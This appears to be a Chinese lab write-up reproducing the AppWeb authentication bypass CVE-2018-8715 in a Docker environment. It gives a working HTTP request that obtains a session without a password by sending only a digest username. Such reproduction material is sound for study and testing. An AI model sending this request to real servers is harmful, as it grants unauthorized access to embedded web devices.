<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    AppWeb認證繞過漏洞(CVE-2018-8715)

    Path appweb/CVE-2018-8715
    AppWeb是Embedthis Software LLC公司負責開發維護的一個基于GPL開源協議的嵌入式Web Server。他使用C/C++來編寫,能夠運行在幾乎先進所有流行的操作系統上。當然他最主要的應用場景還是為嵌入式設備提供Web Application容器。

    AppWeb可以進行認證配置,其認證方式包括以下三種:

    • basic 傳統HTTP基礎認證
    • digest 改進版HTTP基礎認證,認證成功后將使用Cookie來保存狀態,而不用再傳遞Authorization頭
    • form 表單認證

    其7.0.3之前的版本中,對于digest和form兩種認證方式,如果用戶傳入的密碼為null(也就是沒有傳遞密碼參數),appweb將因為一個邏輯錯誤導致直接認證成功,并返回session。

    參考鏈接:

    漏洞環境

    執行如下命令啟動一個帶有digest認證的appweb服務器:

    docker-compose up -d

    訪問http://your-ip:8080,可見需要輸入賬號密碼。

    漏洞復現

    利用該漏洞需要知道一個已存在的用戶名,當前環境下用戶名為admin

    構造頭Authorization: Digest username=admin,并發送如下數據包:

    GET / HTTP/1.1
    Host: example.com
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Authorization: Digest username=admin
    

    可見,因為我們沒有傳入密碼字段,所以服務端出現錯誤,直接返回了200,且包含一個session:

    設置這個session到瀏覽器,即可正常訪問需要認證的頁面:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类